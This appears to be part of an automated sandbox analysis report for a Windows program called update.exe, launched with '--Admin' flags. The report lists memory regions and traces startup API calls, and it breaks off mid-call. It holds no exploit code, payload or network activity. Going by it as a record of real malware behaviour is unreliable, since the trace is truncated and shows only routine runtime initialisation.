0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 674 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 675 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 676 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 677 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 678 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 679 start_va = 0x8cc0000 end_va = 0x90b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008cc0000" filename = "" Region: id = 680 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 681 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 682 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 683 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 684 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 685 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 686 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 687 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 688 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 689 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 690 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 691 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 692 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 693 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 694 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 695 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 696 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 697 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 698 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 699 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 700 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 701 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 702 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 703 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 704 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 705 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 706 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 707 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 708 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 709 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 710 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 711 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 712 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 713 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 714 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 715 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 716 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 717 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 718 start_va = 0x8bb0000 end_va = 0x8cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 719 start_va = 0x749a0000 end_va = 0x749ebfff entry_point = 0x749a0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 720 start_va = 0x74940000 end_va = 0x7496dfff entry_point = 0x74940000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 889 start_va = 0x8800000 end_va = 0x8800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008800000" filename = "" Region: id = 890 start_va = 0x8bb0000 end_va = 0x8beffff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 891 start_va = 0x90c0000 end_va = 0x91bffff entry_point = 0x0 region_type = private name = "private_0x00000000090c0000" filename = "" Region: id = 892 start_va = 0xfff92000 end_va = 0xfff94fff entry_point = 0x0 region_type = private name = "private_0x00000000fff92000" filename = "" Thread: id = 14 os_tid = 0x908 [0041.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x9c3ba3b0, dwHighDateTime=0x1d4800f)) [0041.500] GetCurrentProcessId () returned 0x904 [0041.500] GetCurrentThreadId () returned 0x908 [0041.500] GetTickCount () returned 0x17c50 [0041.500] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1810569600000) returned 1 [0041.500] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.501] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.501] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0041.502] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0041.502] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0041.502] GetProcAddress (hModule=0x75a20000, lpProcName="FlsFree") returned 0x75a3359f [0041.502] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.502] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.502] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.503] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.503] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.503] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.503] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.503] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.503] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.503] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.503] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.503] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.504] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.504] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.504] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.504] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0041.505] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.505] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0041.505] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0041.505] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0041.505] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0041.505] GetCurrentThreadId () returned 0x908 [0041.505] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.505] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0041.505] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0041.505] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0041.506] SetHandleCount (uNumber=0x20) returned 0x20 [0041.506] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" [0041.506] GetEnvironmentStringsW () returned 0x2523b8* [0041.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0041.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3c11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0041.506] FreeEnvironmentStringsW (penv=0x2523b8) returned 1 [0041.506] GetLastError () returned 0x0 [0041.506] SetLastError (dwErrCode=0x0) [0041.506] GetLastError () returned 0x0 [0041.506] SetLastError (dwErrCode=0x0) [0041.506] GetLastError () returned 0x0 [0041.506] SetLastError (dwErrCode=0x0) [0041.506] GetACP () returned 0x4e4 [0041.506] GetLastError () returned 0x0 [0041.506] SetLastError (dwErrCode=0x0) [0041.506] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.506] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.506] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0041.507] GetLastError () returned 0x0 [0041.507] SetLastError (dwErrCode=0x0) [0041.507] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.507] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0041.507] GetLastError () returned 0x0 [0041.507] SetLastError (dwErrCode=0x0) [0041.507] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā") returned 256 [0041.507] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.507] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xae\x64\xb8\x12\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0041.507] GetLastError () returned 0x0 [0041.507] SetLastError (dwErrCode=0x0) [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā") returned 256 [0041.507] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0041.507] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ큷뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0041.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 